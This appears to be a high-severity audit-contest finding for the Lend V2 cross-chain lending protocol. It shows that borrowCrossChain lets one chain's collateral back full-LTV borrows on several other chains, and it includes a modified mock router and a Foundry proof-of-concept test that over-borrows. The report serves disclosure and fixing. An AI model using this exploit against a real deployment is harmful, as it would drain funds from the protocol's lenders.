Jolly Alabaster Manatee

High

# Multiple borrows can be made on different chains by using the same collateral supplied on one chain.

### Summary

Say there are 3 chains - Ethereum, Sonic and Base with LTV's upto 80%. 

An attacker supplies collateral worth $1000 on Ethereum. Using the cross-chain borrow function the attacker borrows $800 on both Base and Sonic. Which adds upto $1600. 

### Root Cause

LOC: https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L113

The ```CrossChainRouter::borrowCrossChain``` function lacks check on the current cross-chain borrows of a particular user in the source chain before sending the request to the destination chain, so an attacker can borrow on 'N' number of chains supported by the protocol using the the same collateral supplied in the source chain.

```solidity
  /**
     * @notice Initiates a cross-chain borrow. Initiated on the source chain (Chain A)
     * @param _amount Amount to borrow
     * @param _borrowToken Token to borrow on destination chain
     * @param _destEid Destination chain's layer zero endpoint id
     */
    function borrowCrossChain(uint256 _amount, address _borrowToken, uint32 _destEid) external payable {
        require(msg.sender != address(0), "Invalid sender");
        require(_amount != 0, "Zero borrow amount");
        require(address(this).balance > 0, "Out of money");

        // Get source lToken for collateral
        address _lToken = lendStorage.underlyingTolToken(_borrowToken);
        require(_lToken != address(0), "Unsupported source token");

        // Get the destination chain's version of the token
        address destLToken = lendStorage.underlyingToDestlToken(_borrowToken, _destEid);
        require(destLToken != address(0), "Unsupported destination token");

        // Accrue interest on source token (collateral token) on source chain
        LTokenInterface(_lToken).accrueInterest();

        // Add collateral tracking on source chain
        lendStorage.addUserSuppliedAsset(msg.sender, _lToken);

        if (!isMarketEntered(msg.sender, _lToken)) {
            enterMarkets(_lToken);
        }

        // Get current collateral amount for the LayerZero message
        // This will be used on dest chain to check if sufficient
        (, uint256 collateral) =
            lendStorage.getHypotheticalAccountLiquidityCollateral(msg.sender, LToken(_lToken), 0, 0);

        // Send message to destination chain with verified sender
        // borrowIndex of 0 initially - will be set correctly on dest chain
        _send(
            _destEid,
            _amount,
            0, // Initial borrowIndex, will be set on dest chain
            collateral,
            msg.sender,
            destLToken,
            address(0), // liquidator
            _borrowToken,
            ContractType.BorrowCrossChain
        );
    }
```

So an attacker supplies collateral on one chain and borrows the max amount of assets on 'N' number of chains depending on the LTV's.

### Internal Pre-conditions

None

### External Pre-conditions

None

### Attack Path

Say the protocol currently supports 3 chains A, B and C respectively with LTV set to 80%.

1. An attacker supplies collateral worth $1000 on chain A.
2. Using the borrowCrossChain function on chain A, the attacker first borrows $800 on chain B.
3. Using the same function on chain A , the attacker borrows $800 on chain C.

Now the attacker has combined assets worth $1600.

### Impact

Using the profits made an attacker can again borrow with new fresh accounts(no previous borrows) and drain huge funds from the protocol.

### PoC

The mock version of the CrossChainRouter given in the test/mocks folder was giving stack too-deep issues when using more than 2 different chains, so it had to be modified to perform tests with various chains at the same time.

Modifications made: 

The borrowCrossChain function was added a parameter named ```chainAddressRouter``` which is the address of the destination CrossChainRouter address, does no changes to the function other than calling _lzSend with the destination chain address.

```solidity
function _lzSend(
        uint32 _dstChainId,
        bytes memory _payload,
        bytes memory, // options
        MessagingFee memory, // messagingFee
        address payable, // refundAddress
        address chainAddress // <---------------- The destination
    ) internal {
        // Create mock Origin struct
        Origin memory origin = Origin({
            srcEid: uint32(block.chainid), // Use current chain ID
            sender: bytes32(uint256(uint160(msg.sender))), // Use msg.sender instead of address(this)
            nonce: 0
        });

        // Call _lzReceive directly on pair contract
        CrossChainRouterMock(payable(chainAddress))._lzReceive( // <--------------- Destination CrossChainRouter address.
            origin,
            bytes32(0), // guid
            _payload,
            address(0), // executor
            bytes(""), // extraData
            address(this) // <----------------- The current CrossChainAddress to validate the borrow request.
        );
    }

```

Other functions(repay, liquidate) other than required for borrowing has been removed for simplicity.

```CrossChainBorrowModified.sol``` to test/mocks/ folder:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {OptionsBuilder} from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/libs/OptionsBuilder.sol";
import {OApp, MessagingFee, Origin} from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/OApp.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {CoreRouter} from "../../src/LayerZero/CoreRouter.sol";

import "../../src/LayerZero/LendStorage.sol";
import "../../src/LToken.sol";
import "../../src/LErc20Delegator.sol";
import "../../src/LayerZero/interaces/LendtrollerInterfaceV2.sol";
import "../../src/LayerZero/interaces/LendInterface.sol";
import "../../src/LayerZero/interaces/UniswapAnchoredViewInterface.sol";

import "forge-std/console.sol";

/**
 * @title CrossChainRouter
 * @notice Handles all cross-chain lending operations
 * @dev Works with LendStorage for state management and LayerZero for cross-chain messaging
 */
contract CrossChainRouterMock is Ownable, ExponentialNoError {
    using SafeERC20 for IERC20;
    using OptionsBuilder for bytes;

    // Storage contract reference
    LendStorage public immutable lendStorage;
    uint32 public immutable currentEid;

    address public lendtroller;
    address public priceOracle;
    address payable public coreRouter;
    uint256 public constant PROTOCOL_SEIZE_SHARE_MANTISSA = 2.8e16; // 2.8%

    // Struct for LayerZero payload
    struct LZPayload {
        uint256 amount;
        uint256 borrowIndex;
        uint256 collateral;
        address sender;
        address destlToken;
        address liquidator;
        address srcToken;
        uint8 contractType;
    }

    enum ContractType {
        BorrowCrossChain,
        ValidBorrowRequest,
        DestRepay,
        CrossChainLiquidationExecute,
        LiquidationSuccess,
        LiquidationFailure
    }

    // Events
    event CrossChainBorrow(address indexed borrower, address indexed destToken, uint256 amount, uint32 srcChainId);
    // Event emitted on successful liquidation
    event LiquidateBorrow(address liquidator, address lToken, address borrower, address lTokenCollateral);
    event LiquidationFailure(address liquidator, address lToken, address borrower, address lTokenCollateral);
    // Event emitted on successful repayment
    event RepaySuccess(address repayBorrowPayer, address lToken, uint256 repayBorrowAccountBorrows);
    event BorrowSuccess(address indexed borrower, address indexed token, uint256 accountBorrow);

    /**
     * @notice Constructor initializes the contract with required addresses
     * @param _lendStorage LendStorage contract address
     * @param _priceOracle PriceOracle contract address
     * @param _lendtroller Lendtroller contract address
     * @param _currentEid The current endpoint ID
     */
    constructor(
        address _lendStorage,
        address _priceOracle,
        address _lendtroller,
        address payable _coreRouter,
        uint32 _currentEid
    ) Ownable() {
        require(_lendStorage != address(0), "Invalid storage address");
        lendStorage = LendStorage(_lendStorage);
        priceOracle = _priceOracle;
        lendtroller = _lendtroller;
        coreRouter = _coreRouter;
        currentEid = _currentEid;
    }

    receive() external payable {}

    /**
     * ============================================ ADMIN FUNCTIONS ============================================
     */
    function withdrawEth() external onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0, "No ETH to withdraw");
        (bool success,) = msg.sender.call{value: balance}("");
        require(success, "ETH transfer failed");
    }

    /**
     * ============================================ USER FUNCTIONS ============================================
     */

    /**
     * @notice Initiates a cross-chain borrow. Initiated on the source chain (Chain A)
     * @param _amount Amount to borrow
     * @param _borrowToken Token to borrow on destination chain
     * @param _destEid Destination chain's layer zero endpoint id
     */
    function borrowCrossChain(uint256 _amount, address _borrowToken, uint32 _destEid, address chainAddressRouter) external payable {
        require(msg.sender != address(0), "Invalid sender");
        require(_amount != 0, "Zero borrow amount");
        require(address(this).balance > 0, "Out of money");

        // Get source lToken for collateral
        address _lToken = lendStorage.underlyingTolToken(_borrowToken);
        require(_lToken != address(0), "Unsupported source token");

        // Get the destination chain's version of the token
        address destLToken = lendStorage.underlyingToDestlToken(_borrowToken, _destEid);
        require(destLToken != address(0), "Unsupported destination token");

        // Accrue interest on source token (collateral token) on source chain
        LTokenInterface(_lToken).accrueInterest();

        // Add collateral tracking on source chain
        lendStorage.addUserSuppliedAsset(msg.sender, _lToken);

        if (!isMarketEntered(msg.sender, _lToken)) {
            enterMarkets(_lToken);
        }

        // Get current collateral amount for the LayerZero message
        // This will be used on dest chain to check if sufficient
        (, uint256 collateral) =
            lendStorage.getHypotheticalAccountLiquidityCollateral(msg.sender, LToken(_lToken), 0, 0);

        // Send message to destination chain with verified sender
        // borrowIndex of 0 initially - will be set correctly on dest chain

        _send(
            _destEid,
            _amount,
            0, // Initial borrowIndex, will be set on dest chain
            collateral,
            msg.sender,
            destLToken,
            address(0), // liquidator
            _borrowToken,
            ContractType.BorrowCrossChain,
            chainAddressRouter
        );
    }

    function _getBorrowDetails(address borrower, address _token, address _lToken, uint32 _srcEid)
        private
        view
        returns (uint256 borrowedAmount, uint256 index, LendStorage.Borrow memory borrowPosition)
    {
        LendStorage.Borrow[] memory userCrossChainCollaterals = lendStorage.getCrossChainCollaterals(borrower, _token);
        bool found;

        for (uint256 i = 0; i < userCrossChainCollaterals.length;) {
            if (userCrossChainCollaterals[i].srcEid == _srcEid) {
                borrowPosition = userCrossChainCollaterals[i];
                index = i;
                found = true;
                borrowedAmount = (borrowPosition.principle * uint256(LTokenInterface(_lToken).borrowIndex()))
                    / uint256(borrowPosition.borrowIndex);
                break;
            }
            unchecked {
                ++i;
            }
        }
        require(found, "No matching borrow position found");
        return (borrowedAmount, index, borrowPosition);
    }

    /**
     * @notice Handles the borrow request on the destination chain. Received on Chain B
     * @param payload LayerZero payload containing borrow details
     * @param srcEid Source chain ID where collateral exists
     */
    function _handleBorrowCrossChainRequest(LZPayload memory payload, uint32 srcEid, address chainAddress) private {
        // Accrue interest on borrowed token on destination chain
        LTokenInterface(payload.destlToken).accrueInterest();

        // Get current borrow index from destination lToken
        uint256 currentBorrowIndex = LTokenInterface(payload.destlToken).borrowIndex();

        // Important: Use the underlying token address
        address destUnderlying = lendStorage.lTokenToUnderlying(payload.destlToken);

        // Check if user has any existing borrows on this chain
        bool found = false;
        uint256 index;

        LendStorage.Borrow[] memory userCrossChainCollaterals =
            lendStorage.getCrossChainCollaterals(payload.sender, destUnderlying);

        for (uint256 i = 0; i < userCrossChainCollaterals.length;) {
            if (
                userCrossChainCollaterals[i].srcEid == srcEid
                    && userCrossChainCollaterals[i].srcToken == payload.srcToken
            ) {
                index = i;
                found = true;
                break;
            }
            unchecked {
                ++i;
            }
        }

        // Check if user has sufficient collateral for the borrow
        (uint256 totalBorrowed,) = lendStorage.getHypotheticalAccountLiquidityCollateral(
            payload.sender, LToken(payable(payload.destlToken)), 0, payload.amount
        );

        // Verify the collateral from source chain is sufficient for total borrowed amount
        require(payload.collateral >= totalBorrowed, "Insufficient collateral");

        // Execute the borrow on destination chain
        CoreRouter(coreRouter).borrowForCrossChain(payload.sender, payload.amount, payload.destlToken, destUnderlying);

        // Update or create collateral record on destination chain
        if (found) {
            uint256 newPrincipleWithAmount = (userCrossChainCollaterals[index].principle * currentBorrowIndex)
                / userCrossChainCollaterals[index].borrowIndex;

            userCrossChainCollaterals[index].principle = newPrincipleWithAmount + payload.amount;
            userCrossChainCollaterals[index].borrowIndex = currentBorrowIndex;

            lendStorage.updateCrossChainCollateral(
                payload.sender, destUnderlying, index, userCrossChainCollaterals[index]
            );
        } else {
            lendStorage.addCrossChainCollateral(
                payload.sender,
                destUnderlying,
                LendStorage.Borrow({
                    srcEid: srcEid,
                    destEid: currentEid,
                    principle: payload.amount,
                    borrowIndex: currentBorrowIndex,
                    borrowedlToken: payload.destlToken,
                    srcToken: payload.srcToken
                })
            );
        }

        // Track borrowed asset
        lendStorage.addUserBorrowedAsset(payload.sender, payload.destlToken);

        // Distribute LEND rewards on destination chain
        lendStorage.distributeBorrowerLend(payload.destlToken, payload.sender);

        // Send confirmation back to source chain with updated borrow details
        _send(
            srcEid,
            payload.amount,
            currentBorrowIndex,
            payload.collateral,
            payload.sender,
            payload.destlToken,
            payload.liquidator,
            payload.srcToken,
            ContractType.ValidBorrowRequest,
            chainAddress
        );
    }

    /**
     * @notice Enters markets in the lendtroller
     */
    function enterMarkets(address _lToken) internal {
        address[] memory lTokens = new address[](1);
        lTokens[0] = _lToken;
        LendtrollerInterfaceV2(lendtroller).enterMarkets(lTokens);
    }

    /**
     * @notice Checks if a market is entered
     */
    function isMarketEntered(address user, address asset) internal view returns (bool) {
        address[] memory suppliedAssets = lendStorage.getUserSuppliedAssets(user);
        for (uint256 i = 0; i < suppliedAssets.length;) {
            if (suppliedAssets[i] == asset) return true;
            unchecked {
                ++i;
            }
        }
        return false;
    }

    /**
     * @notice Approves tokens for spending
     */
    function _approveToken(address _token, address _approvalAddress, uint256 _amount) internal {
        uint256 currentAllowance = IERC20(_token).allowance(address(this), _approvalAddress);
        if (currentAllowance < _amount) {
            if (currentAllowance > 0) {
                IERC20(_token).safeApprove(_approvalAddress, 0);
            }
            IERC20(_token).safeApprove(_approvalAddress, _amount);
        }
    }

    /**
     * @notice Handles the valid borrow request on the source chain. Received on the source chain (Chain A)
     * @param payload LayerZero payload
     * @param srcEid Source chain ID
     */
    function _handleValidBorrowRequest(LZPayload memory payload, uint32 srcEid) private {
        // Find the specific borrow record using the new helper
        (bool found, uint256 index) =
            lendStorage.findCrossChainBorrow(payload.sender, payload.srcToken, srcEid, currentEid, payload.destlToken);

        if (found) {
            // Update existing borrow
            LendStorage.Borrow[] memory userBorrows = lendStorage.getCrossChainBorrows(payload.sender, payload.srcToken);
            userBorrows[index].principle = userBorrows[index].principle + payload.amount;
            userBorrows[index].borrowIndex = payload.borrowIndex;

            // Update in storage
            lendStorage.updateCrossChainBorrow(payload.sender, payload.srcToken, index, userBorrows[index]);
        } else {
            // Add new borrow record
            lendStorage.addCrossChainBorrow(
                payload.sender,
                payload.srcToken,
                LendStorage.Borrow(
                    srcEid, currentEid, payload.amount, payload.borrowIndex, payload.destlToken, payload.srcToken
                )
            );
        }

        lendStorage.addUserBorrowedAsset(payload.sender, lendStorage.underlyingTolToken(payload.srcToken));

        // Emit BorrowSuccess event
        emit BorrowSuccess(payload.sender, payload.srcToken, payload.amount);
    }

    /**
     * @notice Sends LayerZero message
     */
    function _send(
        uint32 _dstEid,
        uint256 _amount,
        uint256 _borrowIndex,
        uint256 _collateral,
        address _sender,
        address _destlToken,
        address _liquidator,
        address _srcToken,
        ContractType ctype,
        address chainAddress
    ) internal {
        bytes memory payload =
            abi.encode(_amount, _borrowIndex, _collateral, _sender, _destlToken, _liquidator, _srcToken, ctype);

        _lzSend(
            _dstEid,
            payload,
            OptionsBuilder.newOptions().addExecutorLzReceiveOption(650000, 0),
            MessagingFee(address(this).balance, 0),
            payable(address(this)),
            chainAddress
        );
    }

    /**
     * @dev Internal function to handle incoming Ping messages.
     * @param _origin The origin data of the message.
     * @param _payload The payload of the message.
     */
    function _lzReceive(
        Origin calldata _origin,
        bytes32, /*_guid*/
        bytes calldata _payload,
        address, /*_executor*/
        bytes calldata, /*_extraData*/
        address fromChain
    ) public {
        LZPayload memory payload;

        // Decode individual fields from payload
        (
            payload.amount,
            payload.borrowIndex,
            payload.collateral,
            payload.sender,
            payload.destlToken,
            payload.liquidator,
            payload.srcToken,
            payload.contractType
        ) = abi.decode(_payload, (uint256, uint256, uint256, address, address, address, address, uint8));

        uint32 srcEid = _origin.srcEid;
        ContractType ctype = ContractType(payload.contractType);
        // Handle different message types
        if (ctype == ContractType.BorrowCrossChain) {
            _handleBorrowCrossChainRequest(payload, srcEid, fromChain);
        } else if (ctype == ContractType.ValidBorrowRequest) {
            _handleValidBorrowRequest(payload, srcEid);
        } else {
            revert("Invalid contract type");
        }
    }

    // Mock _lzSend by directly calling _lzReceive on pair contract
    function _lzSend(
        uint32 _dstChainId,
        bytes memory _payload,
        bytes memory, // options
        MessagingFee memory, // messagingFee
        address payable, // refundAddress
        address chainAddress
    ) internal {
        // Create mock Origin struct
        Origin memory origin = Origin({
            srcEid: uint32(block.chainid), // Use current chain ID
            sender: bytes32(uint256(uint160(msg.sender))), // Use msg.sender instead of address(this)
            nonce: 0
        });

        // Call _lzReceive directly on pair contract
        CrossChainRouterMock(payable(chainAddress))._lzReceive(
            origin,
            bytes32(0), // guid
            _payload,
            address(0), // executor
            bytes(""), // extraData
            address(this)
        );
    }
}

```

```cross.t.sol``` to test/ folder
 
```solidity
// SPDX-License-Identifier: MIT

pragma solidity 0.8;

import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/SimplePriceOracle.sol";
import "../src/Lendtroller.sol";
import {LendStorage} from "../src/LayerZero/LendStorage.sol";
import {CoreRouter} from "../src/LayerZero/CoreRouter.sol";
import "../src/LErc20Immutable.sol";
import "../src/LendtrollerInterface.sol";
import "../src/WhitePaperInterestRateModel.sol";
import "../src/InterestRateModel.sol";
import "../src/LToken.sol";
import "../src/PriceOracle.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {CrossChainRouterMock} from "./mocks/CrossChainRouterMockModified.sol";

contract CrossChainTest is Test {
  address alice = address(1);
  address attacker = address(3);

  SimplePriceOracle public oracle;

  Lendtroller public lendTrollerA;
  Lendtroller public lendTrollerB;
  Lendtroller public lendTrollerC;
  
  LendStorage public lendStorageA;
  LendStorage public lendStorageB;
  LendStorage public lendStorageC;

  CoreRouter public coreRouterA;
  CoreRouter public coreRouterB;
  CoreRouter public coreRouterC;

  CrossChainRouterMock public crossChainRouterA; 
  CrossChainRouterMock public crossChainRouterB;
  CrossChainRouterMock public crossChainRouterC;

  ERC20Mock public daiA; 
  ERC20Mock public daiB; 
  ERC20Mock public daiC; 

  ERC20Mock public usdcA;
  ERC20Mock public usdcB;
  ERC20Mock public usdcC;

  LErc20Immutable public lDaiA;
  LErc20Immutable public lDaiB;
  LErc20Immutable public lDaiC;

  LErc20Immutable public lUsdcA;
  LErc20Immutable public lUsdcB;
  LErc20Immutable public lUsdcC;

  WhitePaperInterestRateModel public interestModel;

  uint32 constant CHAIN_A_ID = 1;
  uint32 constant CHAIN_B_ID = 2;
  uint32 constant CHAIN_C_ID = 3;

  function setUp() public {
    vm.startPrank(alice);

    oracle = new SimplePriceOracle();

    lendTrollerA = new Lendtroller();
    lendTrollerB = new Lendtroller();
    lendTrollerC = new Lendtroller();

    lendStorageA = new LendStorage(address(lendTrollerA), address(oracle), 1);
    lendStorageB = new LendStorage(address(lendTrollerB), address(oracle), 2);
    lendStorageC = new LendStorage(address(lendTrollerC), address(oracle), 3);

    coreRouterA = new CoreRouter(address(lendStorageA), address(oracle), address(lendTrollerA));
    coreRouterB = new CoreRouter(address(lendStorageB), address(oracle), address(lendTrollerB));
    coreRouterC = new CoreRouter(address(lendStorageC), address(oracle), address(lendTrollerC));

    crossChainRouterA = new CrossChainRouterMock(
      address(lendStorageA), 
      address(oracle), 
      address(lendTrollerA), 
      payable(address(coreRouterA)), 
      1
    );

    crossChainRouterB = new CrossChainRouterMock(
      address(lendStorageB), 
      address(oracle), 
      address(lendTrollerB), 
      payable(address(coreRouterB)),
      2
    );

    crossChainRouterC = new CrossChainRouterMock(
      address(lendStorageC), 
      address(oracle), 
      address(lendTrollerC), 
      payable(address(coreRouterC)),
      3
    );

    coreRouterA.setCrossChainRouter(address(crossChainRouterA));
    coreRouterB.setCrossChainRouter(address(crossChainRouterB));
    coreRouterC.setCrossChainRouter(address(crossChainRouterC));

    daiA = new ERC20Mock();
    daiA.mint(alice, 100e18);

    daiB = new ERC20Mock();
    daiB.mint(alice, 100e18);

    daiC = new ERC20Mock();
    daiC.mint(alice, 100e18);

    usdcA = new ERC20Mock();
    usdcA.mint(alice, 100e18);

    usdcB = new ERC20Mock();
    usdcB.mint(alice, 100e18);

    usdcC = new ERC20Mock();
    usdcC.mint(alice, 100e18);

    interestModel = new WhitePaperInterestRateModel(0.1e18, 0.05e18);

    lDaiA = new LErc20Immutable(
      address(daiA),
      LendtrollerInterface(address(lendTrollerA)),
      InterestRateModel(address(interestModel)),
      1e18, 
      "DAI",
      "LDAI",
      18, 
      payable(address(alice))
    );

    oracle.setUnderlyingPrice(LToken(lDaiA), 1e18);

    lDaiB = new LErc20Immutable(
      address(daiB),
      LendtrollerInterface(address(lendTrollerB)),
      InterestRateModel(address(interestModel)),
      1e18, 
      "DAI",
      "LDAI",
      18, 
      payable(address(alice))
    );

    oracle.setUnderlyingPrice(LToken(lDaiB), 1e18);

    lDaiC = new LErc20Immutable(
      address(daiC),
      LendtrollerInterface(address(lendTrollerC)),
      InterestRateModel(address(interestModel)),
      1e18, 
      "DAI",
      "LDAI",
      18, 
      payable(address(alice))
    );

    oracle.setUnderlyingPrice(LToken(lDaiC), 1e18);

    lUsdcA = new LErc20Immutable(
      address(usdcA), 
      LendtrollerInterface(address(lendTrollerA)),
      InterestRateModel(address(interestModel)), 
      1e18, 
      "Circle USDC", 
      "USDC", 
      18, 
      payable(address(alice))
    );

    oracle.setUnderlyingPrice(LToken(lUsdcA), 1e18);

    lUsdcB = new LErc20Immutable(
      address(usdcB), 
      LendtrollerInterface(address(lendTrollerB)),
      InterestRateModel(address(interestModel)), 
      1e18, 
      "Circle USDC", 
      "USDC", 
      18, 
      payable(address(alice))
    );

    oracle.setUnderlyingPrice(LToken(lUsdcB), 1e18);

    lUsdcC = new LErc20Immutable(
      address(usdcC), 
      LendtrollerInterface(address(lendTrollerC)),
      InterestRateModel(address(interestModel)), 
      1e18, 
      "Circle USDC", 
      "USDC", 
      18, 
      payable(address(alice))
    );

    oracle.setUnderlyingPrice(LToken(lUsdcC), 1e18);

    // the price has been set to 1:1

    // -----------------------
    lendStorageA.addSupportedTokens(address(daiA), address(lDaiA));
    lendStorageA.addSupportedTokens(address(usdcA), address(lUsdcA));

    lendTrollerA._supportMarket(LToken(address(lDaiA))); 
    lendTrollerA._supportMarket(LToken(address(lUsdcA))); 

    lendStorageA.setAuthorizedContract(address(coreRouterA), true);
    lendStorageA.setAuthorizedContract(address(crossChainRouterA), true);

    lendTrollerA.setLendToken(address(lDaiA));
    lendTrollerA.setLendStorage(address(lendStorageA));

    lendTrollerA._setPriceOracle(PriceOracle(address(oracle)));
    lendTrollerA._setCollateralFactor(LToken(address(lDaiA)), 0.8e18);
    lendTrollerA._setCollateralFactor(LToken(address(lUsdcA)), 0.8e18);

    // -----------------------
    lendStorageB.addSupportedTokens(address(usdcB), address(lUsdcB));
    lendStorageB.addSupportedTokens(address(daiB), address(lDaiB));

    lendTrollerB._supportMarket(LToken(address(lUsdcB)));
    lendTrollerB._supportMarket(LToken(address(lDaiB)));

    lendStorageB.setAuthorizedContract(address(coreRouterB), true);
    lendStorageB.setAuthorizedContract(address(crossChainRouterB), true);

    lendTrollerB.setLendToken(address(lUsdcB));
    lendTrollerB.setLendStorage(address(lendStorageB));

    lendTrollerB._setPriceOracle(PriceOracle(address(oracle)));
    lendTrollerB._setCollateralFactor(LToken(address(lDaiB)), 0.8e18);
    lendTrollerB._setCollateralFactor(LToken(address(lUsdcB)), 0.8e18);

    // -----------------------
    lendStorageC.addSupportedTokens(address(usdcC), address(lUsdcC));
    lendStorageC.addSupportedTokens(address(daiC), address(lDaiC));

    lendTrollerC._supportMarket(LToken(address(lUsdcC)));
    lendTrollerC._supportMarket(LToken(address(lDaiC)));

    lendStorageC.setAuthorizedContract(address(coreRouterC), true);
    lendStorageC.setAuthorizedContract(address(crossChainRouterC), true);

    lendTrollerC.setLendToken(address(lUsdcC));
    lendTrollerC.setLendStorage(address(lendStorageC));

    lendTrollerC._setPriceOracle(PriceOracle(address(oracle)));
    lendTrollerC._setCollateralFactor(LToken(address(lDaiC)), 0.8e18);
    lendTrollerC._setCollateralFactor(LToken(address(lUsdcC)), 0.8e18);
    
    // -----------------------
    vm.deal(address(crossChainRouterA), 10e18);
    vm.deal(address(crossChainRouterB), 10e18);
    vm.deal(address(crossChainRouterC), 10e18);

    lendStorageA.addUnderlyingToDestlToken(address(daiA), address(lDaiB), 2);
    lendStorageA.addUnderlyingToDestlToken(address(daiA), address(lDaiC), 3);
    
    // ----------------------
    daiA.approve(address(coreRouterA), type(uint).max);
    usdcA.approve(address(coreRouterA), type(uint).max);

    coreRouterA.supply(10e18, address(daiA));
    coreRouterA.supply(10e18, address(usdcA));

    daiB.approve(address(coreRouterB), type(uint).max);
    usdcB.approve(address(coreRouterB), type(uint).max);

    coreRouterB.supply(10e18, address(daiB));
    coreRouterB.supply(10e18, address(usdcB));

    daiC.approve(address(coreRouterC), type(uint).max);
    usdcC.approve(address(coreRouterC), type(uint).max);

    coreRouterC.supply(10e18, address(daiC));
    coreRouterC.supply(10e18, address(usdcC));

    usdcA.transfer(attacker, 10e18); // Initial balance for attacker.

    // ----------------------

  }

  function test_attack() public {
    vm.startPrank(attacker);

    usdcA.approve(address(coreRouterA), type(uint).max);

    coreRouterA.supply(10e18, address(usdcA));

    crossChainRouterA.borrowCrossChain(7e18, address(daiA), 2, address(crossChainRouterB)); 
    crossChainRouterA.borrowCrossChain(7e18, address(daiA), 3, address(crossChainRouterC));
   
    // Here the attacker has borrowed around 14e18 dai just by supplying 10e18 of usdc.

  } 

}


```

From the final test in cross.t.sol:

```solidity
function test_attack() public {
    vm.startPrank(attacker);

    usdcA.approve(address(coreRouterA), type(uint).max);

    coreRouterA.supply(10e18, address(usdcA));

    crossChainRouterA.borrowCrossChain(7e18, address(daiA), 2, address(crossChainRouterB)); 
    crossChainRouterA.borrowCrossChain(7e18, address(daiA), 3, address(crossChainRouterC));
   
    // Here the attacker has borrowed around 14e18 dai just by supplying 10e18 of usdc.

  } 
```
(The price has been set to 1:1)
The attacker supplies collateral worth $10 on chain A and borrows around  $14 on both chains combined.

### Steps to reproduce

1. Add CrossChainRouterModified.sol to test/mocks/ folder.
2. Add cross.t.sol to test/ folder.
3. Run ```forge test --match-test test_attack --via-ir -vv``` to confirm the output.


### Mitigation

_No response_